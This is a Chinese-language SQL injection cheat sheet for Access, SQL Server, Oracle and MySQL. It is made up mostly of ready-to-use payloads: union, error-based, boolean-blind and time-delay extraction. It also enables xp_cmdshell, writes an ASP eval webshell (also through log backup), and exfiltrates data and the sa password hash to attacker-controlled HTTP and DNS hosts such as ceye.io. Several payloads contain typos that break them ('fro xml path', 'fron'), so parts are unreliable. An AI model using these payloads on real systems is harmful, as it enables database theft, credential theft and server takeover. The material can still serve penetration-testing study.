SQL注入篇
Access数据库
简介
Access数据库与其他数据库不同,他没有存储的库,所以只能猜表。
Access数据库结构
a) 表、字段、数据
检测表名是否存在
Select ID From Admin where ID = 10 and exists(select * from Admin)
Select ID From Admin where ID = 10 and exists(select * from Admin1)
联合注入语法
判断是否存在注入
AND方法,前后判断必须都为true
Select * From OrderList where ID = 34 and 1=1
Select * From OrderList where ID = 34 and 1=2
OR方法,前后判断一边为true即可
Select * From OrderList where ID = 3 or 1=1
Select * From OrderList where ID = 3 or 1=2
判断字段数量
Select * From Paydefault where ID = 1 order by 6
Select * From Paydefault where ID = 1 order by 7
报错,说明只有6个字段
根据表查询数据
Select * From Paydefault where ID = 1 and 1=2 union select 1,2,3,4,5,6 from Paydefault
From 后面的表名如果不对会报错,可以用来猜测表名
数据回显
Select * From Paydefault where ID = 1 and 1=2 union select 1,Paytype,3,4,5,6 from Paydefault
布尔盲注
利用ascii码来猜解字段值
首先判断是否存在表名:
And exists(select * from admin)
不会报错,说明admin表是存在的,接下来就查列
可以使用字典+工具去枚举列名
如果列不存在,则会报错
列存在返回正常
知道了列之后,就可以去猜解zidu字段
首先需要知道字段的长度,可以使用top len 函数
Select * from admin where id = 1 and (select top 1 len(username) from admin)>1
这句话的的意思很简单,id = 1之后是可控的内容,然后and一个判断true=true为true
相反true=false为false,可控的内容使之我们的条件语句成立。
Top 1的意思是只显示第一行的结果
输入语句判断,当前的username字段的长度大于1,所以语句成立,返回true
大于11不成立,所以返回false
通过判断字段长度,得到长度为8
接下来就猜接字段数据
select * from admin where id=10 and (select top 1 asc(mid(username,1,1)) from admin)>10
查询第一条数据,然后取username的第一个数,取1个长度,返回一个ascii码,和后面做比较。条件成立返回true
条件不成立返回false
通过猜解长度,得到第一位的ascii码为97,再通过ascii解码得到a
以下的结果同上,修改username 后面第一个值即可,然后对照ascii表做匹配
Sqlserver数据库
简介
Sqlserver经常与asp或者aspx一起使用,操作系统多数是win2012和win2018
数据库版本sql2008,sql2012。
Sqlserver联合注入
Sqlserver对数据类型的判断是比较严谨的,查询的时候需要使用字符
判断是否存在注入
?id=1 and 1=1 – -
?id=1 and 1=2 –-
判断字段的数量
?id=1 order by 3 –-
查询字段值
?id=1 and 1=2 union select 1,'2',name from mydb.sys.sysobjects where xtype = 'U' -- –-
?id=1 and 1=2 union select null,null,name from mydb.sys.sysobjects where xtype = 'U' --常用的函数有
Db_name() 获取数据库名
@@version() 获取数据库版本
User_name() 获取当前用户
Host_name() 获取当前计算机
Sqlserve报错注入
使用报错语句将需要的信息显示出来
显示系统信息
And @@version>0利用mssql在转换类型的时候就会出错时,会显示系统信息
显示当前数据库名
And db_name()>0
显示当前用户
And user_name()>0
爆出其他数据库的方法
-1 and (select top 1 name from master..sysdatabases)>0
-1 and (select top 1 name from master..sysdatabases where name not in (‘master’))>0
-1 and (select top 1 name from master..sysdatabases where name not in (‘master’,’admin’))>0
爆出表名
-1 and (select top 1 name from [mydb].sys.all_objects where type=’U’ and is_ms_shipped=0)>0
-1 and (select top 1 name from [mydb].sys.all_objects where type=’U’ and is_ms_shipped=0 and name not in (‘admin’))>0
爆出列
-1 and (select top 1 column_name from mydb.information_schema.columns where TABLE_NAME=’admin’ and column_name not in(‘ID’))>0
-1 and (select top 1 column_name from mydb.information_schema.columns where table_name=admin’ and column_name not in (‘ID’,’username’))>0
爆出数据
-1 and (select top 1 password from admin) > 0
报错注入,根据系统的表报出所有的表
1 and (select table_name from information_schema.tables where table_schema=’dbo’ fro xml path)>1
爆出所有的列
1 and (select column_name fron information_schema.columns where table_name=’admin’ fro xml path)>1
爆出数据
1 and (select username,password from admin fro xml path)1
Sqlserver执行系统命令
Sqlserver分号结束之后还可以执行查询结果。Mysql不可以一起执行,mysql需要前面为false才可执行后面的语句
Xp_cmdshell默认在mssql2000中是开启的,再mssql2005之后的版本中则默认禁止
如果用友管理员sa权限,则可以使用sp_configure重新开启它
id=1;EXEC sp_configure'show advanced options';RECONFIGURE;EXEC sp_configure'xp_cmdshell',1;RECONFIGURE;
执行系统命令
EXEC master..dbo.xp_cmdshell 'ipconfig'
在关闭的情况下,回显报错
’开启xp_cmdshell获取shell
Id=1;exec master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> > C:\inetpub\wwwroot\www.demo1.com\2.asp' --
Sqlserver备份拿webshell
Log备份
;if exists(select table_name from information_schema.tables where table_name=’test_tmp’) drop table test_tmp;alter database mydb set RECOVERY FULL;
以下内容可以放在一起写入
;create table test_tmp(a image)
;backup log mydb to disk = ‘根目录/asp.bak’ with init
;insert into test_tmp(a) values(0x3C25657865637574652872657175657374282261222929253eda)
;backup log mydb to disk = ‘根目录/123.asp’
;drop table test_tmp
Sqlserver openrowset转发利用
Openrowset操作远程数据库的函数
适用于盲注,页面不反悔信息,使用openrowset转发利用,需要一台带有sqlserver的机器
原理就是把当前数据库转发到远程的sqlserver上
1、开启扩展
http://www.demo1.com/index.aspx?id=1;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
本地建立临时表
create table ##version (VERSION varchar(500))
2、查询系统信息
http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23version' ) select DB_NAME()
执行上面语句之后 再来查询远程sqlserver上的表
select * from ##version
3、两边创建临时表
create table ##nonamed( dir ntext, num int )
http://www.demo1.com/index.aspx?id=1;create table %23%23nonamed( dir ntext, num int )
4、查询路径
insert %23%23nonamed execute master..xp_dirtree 'c:/',1
向nonamed表插入c盘下路径的数据
http://www.demo1.com/index.aspx?id=1;insert %23%23nonamed execute master..xp_dirtree 'c:/',1
这里就是把数据转发到远程192.168.0.122 sqlserver上
http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23nonamed' ) select * from %23%23nonamed
在远程sqlserver执行这个命令 就可以获取 数据
select * from %23%23nonamed
Sqlserver延时注入
简介
WAITFOR是SQLServer中Transact-SQL提供的一个流程控制语句。它的作用就是等待特定时
间,然后继续执行后续的语句。它包含一个参数DELAY,用来指定等待的时间。
waitfor delay '0:0:5' 等待5秒再执行操作 ,页面将5秒之后返回
select 1 waitfor delay '0:0:5'
1、 截取字符串判断数据库
Substring截取字符串
Char转换的字符代码
Id=1 if(substring(db_name(),1,1)=char(109)) waitfor delay'0:0:5' –
查询数据库的第一位
Id=1 if(substring(db_name(),1,1)='m') waitfor delay'0:0:5' --
查询数据表
Id=1 if(substring((select top 1 name from mydb.sys.all_objects where type='U' ),1,1)='c') waitfor delay'0:0:5' –
查询列名
if(substring((Select top 1 column_name from mydb.information_schema.columns where TABLE_NAME='admin'),1,1)='I') waitfor delay'0:0:5' –
http://www.demo1.com/index.aspx?Id=1 if(substring((Select top 1 column_name from mydb.information_schema.columns where TABLE_NAME='admin'),2,1)='D') waitfor delay'0:0:5' --
Sqlserver布尔盲注(ascii)
Id=1 if ascii(substring(user,1,1))>1 WAITFOR DELAY '0:0:5'
查询当前数据库的长度
Id=1 if len(db_name())=4 WAITFOR DELAY '0:0:5'--
查询当前数据库
Id=1 if ascii(substring(db_name(),1,1))=109 WAITFOR DELAY '0:0:5' --
Oracle数据库
判断是否存在注入
Id=1 and 1 = 1 –
Id=1 and 1 = 2
判断数据库的列数
Id=1 order by 8 –
Oracle联合查询
Oracle对列的类型比较严谨所以要用null可以匹配任意类型
如果当前用户是一个高权限账户,可执行以下操作
1、 当前用户权限(select * from session_roles)
2、 当前数据库版本(select banner from sys.v_$version where rownum=1)
3、 服务器出口IP(select utl_http.request from dual)
4、 服务器监听IP(select utl_inaddr.get_host_address from dual)
5、 服务器操作系统(select member from v%logfile where rownum=1)
6、 服务器sid(select instance name from v$instance)
7、 服务器id(select instance_name fron v%instance)
8、 当前连接用户(select SYS_CONTEXT (‘USERNV’,’CURRENT_USER’) from dual)
9、 当前用户(select user from dual)
Oracle中的dual表是一个单行单列的虚拟表
Dual是Oracle中的一个实际存在的表,任何用户均可读取
可通过dual表来显示列数
Union select null,null,null from dual –
查询数据库版本、
查询库名
Rownum=1 : 只查询一条记录
-SMITH' union select null,(select owner from all_tables where rownum=1),null,null,null,null,null,null from dual --
-SMITH' union select null,(select owner from all_tables where rownum=1 and owner<>'SYS'),null,null,null,null,null,null from dual --
查询表名(表一定要大写)
-SMITH' union select null,(select table_name from user_tables where rownum=1),null,null,null,null,null,null from dual --
-SMITH' union select null,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'),null,null,null,null,null,null from dual --
查询列名
-SMITH' union select null,null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1 and column_name<>'ID'),null,null,null,null,null from dual --
查询数据
-SMITH' union select null,null,(select concat(username,password) from admin),null,null,null,null,null from dual --
扩展
查询当前用户
Select user from dual
一下需要高权限用户才能使用
列出所有用户:
SELECT username FROM all_users ORDER BY username;
列出数据库
SELECT DISTINCT owner FROM all_tables;
列出表名:
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
查询表所有列
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN';
定位文件
SELECT name FROM V$DATAFILE;
Oracle-+jsp utl_http.request反弹注入
前提:
通过utl_http.request我们可以将查阅的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法用户需要有utl_http访问网络的权限
1、 检测是否支持utl_http.request
and exists(select count(*) from all_objects where object_name='UTL_HTTP') --
2、 使用反弹注入获取版本信息
id=1 and utl_http.request('http://192.168.10.3:2020/'%7c%7c(select banner from sys.v_$version where rownum=1))=1 --
这个里面的语句没截好
3、 查询当前用户
id=1 and utl_http.request('http://192.168.10.3:2020/'%7c%7c(select user from dual where rownum=1))=1 --
4、 读取数据库的密码
id=1 and utl_http.request('http://192.168.10.3:2020/'%7c%7c(select username from admin where rownum=1))=1 --
Oracle报错注入
1、 使用UTL_INADDR.get_host_name()函数
and 1=UTL_INADDR.get_host_name((select user from dual)) --
2、 使用ctxsys.drithsx.sn
and 1=ctxsys.drithsx.sn(1,(select user from dual))--
总结如下
0x1 utl_inaddr.get_host_name()进行报错注入
and 1=utl_inaddr.get_host_name((select user from dual))--
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--
0x2 ctxsys.drithsx.sn()进行报错注入
http://www.jsporcle.com/news.jsp?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--
0x3 XMLType()进行报错注入
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
http://www.jsporcle.com/news.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --
0x4 dbms_xdb_version.checkin()进行报错注入
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
查询版本信息
http://www.jsporcle.com/news.jsp?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --
0x5 bms_xdb_version.makeversioned()进报错注入
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
0x6 dbms_xdb_version.uncheckout()进行报错注入
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
0x7 dbms_utility.sqlid_to_sqlhash()进行报错注入
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
0x8 ordsys.ord_dicom.getmappingxpath()进行报错注入
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
0x9 decode进行报错注入,这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --
查询库名
and 1=ctxsys.drithsx.sn(1,(select owner from all_tables where rownum=1)) --
查询表名
查询字段
and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where rownum=1)) --
查询数据
Oracle布尔盲注(decode)
简介
在Oracle中有两种布尔型盲注方法
一、 decode盲注法
decode(字段或字段的运算,值1,值2,值3)
解释:函数运行的结果,当运算结果等于1时返回2,否则返回3
查看当前用户
And 1=(select decode(user,’SYSTEM’,1,0) from dual) –
1代表true,0代表false,可以通过true或false判断界面的回显
查询当前用户的长度
And 1=(select length(user) from dual) --
查询当前用户
And 1=(select decode(substr(user,1,1),’S’,1,0) from dual) –
解释:select查询decode执行语句(字符串的运算,返回tru,返回false),substr截取字符(字符,截取第一位,取第一个)
And 1=(select decode(substr(user,2,1),’Y’,1,0) from dual) --
And 1=(select decode(substr(user,3,1),’S’,1,0) from dual) --
And 1=(select decode(substr(user,4,1),’T’,1,0) from dual) --
And 1=(select decode(substr(user,5,1),’E’,1,0) from dual) --
And 1=(select decode(substr(user,6,1),’M’,1,0) from dual) –
判断当前数据库的长度
and 3=(select length((select owner from all_tables where rownum=1)) from dual) --
判断当前数据库第一位
and 1=(select decode(substr((select owner from all_tables where rownum=1),1,1),'S',1,0) from dual) --
and 1=(select decode(substr((select owner from all_tables where rownum=1),2,1),'Y',1,0) from dual) –
and 1=(select decode(substr((select owner from all_tables where rownum=1),3,1),'S',1,0) from dual) --
查询数据库表名
查询数据
Oracle布尔盲注(ascii)
解释:截取user变量的字符串的第一位的第一个,变为ascii码去查询
And (select ascii(substr(user,1,1)) from dual)>1 --
Oracle延迟注入
简介
DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。
1、 判断注入,如果延迟10秒存在注入
And 1=(dbms_pipe.receive_message('RDS', 10))
2、 使用注入语句,与decode函数一起使用
简单来说就是把decode分段中的第二个参数修改为延迟5秒
and 1=(select decode(substr(user,1,1),'S', dbms_pipe.receive_message('RDS', 5),0) from dual) --
3、 查询当前数据用户的长度
and 1=(select decode(length(user),6,dbms_pipe.receive_message('RDS', 5),0) from dual) --
4、 判断第一位是哪个字符
and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0)from dual) --
5、 判断当前数据库的长度
And 1=(select decode(length((select owner from all_tables where rownum=1)),3, dbms_pipe.receive_message('RDS', 5),0) from dual) --
6、 判断第一个字符
And 1=(select decode(substr((select owner from all_tables where rownum=1),1,1),'S', dbms_pipe.receive_message('RDS', 5),0)from dual) --
内联注入
Mysql
简介
这种注入方式适合在找到表找不到字段的情况下使用
这种注入方式需要联合两个表,所以这种注入也是联合查询的一种
原理
在SQL中查询select * from admin 星号代表所有字段
在使用唯一注入这种注入方法,需要确定当前表的字段数
表artice的字段为3个
使用联合语句把另外一个表联合进来查询
Select * from article where id=1 union select 1,2,3, from admin
Admin的表的字段数同样也是3个把admin.*替换1,2,3
语句并不会报错,应为列数一样同样也会显示表admin里面的字段数据
Select * from article where id=-1 union select admin.* from admin
查询所有的表
同理,查询所有的表
select tp_admin.* from tp_admin
id=-1 union select admin.* from admin –
前表必须大于等于后表的字段数,才可显示成功
前表字段数7,后表字段数为6,所以后表需要填充一个字段
否则
ACCESS数据库
Access数据库也可使用内联注入,前表与后表的字段数需相同
Selet * from affiche union select * from admin
前表字段与后表字段数量不符,所以报错
演示真实环境
当前字段数量为26
Union select 联合查询
猜测admin表有几个字段,可以推算用admin.*来添加,如果字段不匹配则报错
字段匹配正确返回结果,但是没有数据出现
将admin.*直接放到第一位,然后数据就会回显
总结:内联注入,所需要的前表必须大于后表,然后需要猜解到相等的字段长度,才可以实现
Dnslog无回显注入
原理
DNS在解析的时候会留下日志,利用这个属性,可以读取多级域名的解析日志,来获取信息
将带有查询的语句发起dns查询请求,通过dns请求擦汗寻到值,组合成三级域名,在ns服务器dns的日志中显示出来
无回显注入,一般使用布尔型盲注和延时注入查询数据,但是这两种查询都是很慢,dnslog查询因为是直接显示数据,所以这种注入效率上面说的这种都要好
Windows系统命令执行
Ping %USERNAME%.ch6del.dnslog.cn
Linux系统命令执行
Ping `whoami`.ip.port.ch6del.dnslog.cn
Curl http://ip.port.ch6del.dnslog.cn/`whoami`
注:需要在高权限用户下执行
Access注入
load_file 使用这个函数 必须 在mysql开启 secure_file_prv= 设置可以读取方可使用这个函数
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
推荐平台,需要注册
平台带有payload,无脑复制粘贴即可
这里的POC需要编码,否则一些特殊符号会导致报错
declare%20%40host%20varchar(1024)%3bselect%20%40host%3d(select%20top%201%20master.dbo.fn_varbintohexstr(password_hash)%20from%20sys.sql_logins%20where%20name%3d'sa')%2b'.ip.port.o2tf2m.ceye.io'%3b%20exec('master..xp_dirtree%20%22%5c%5c'%2b%40host%2b'%5cfoobar%24%22')%3b
Mysql注入
将所需要查询的数据直接替换在select database()即可
http://target_sys.com/article.php?id=1 and if((select load_file(concat('\\\\',(SELECT database()),'.o2tf2m.ceye.io\\abc'))),1,0) --
and if((select load_file(concat('\\\\',(SELECT version()),'.o2tf2m.ceye.io\\abc'))),1,0) --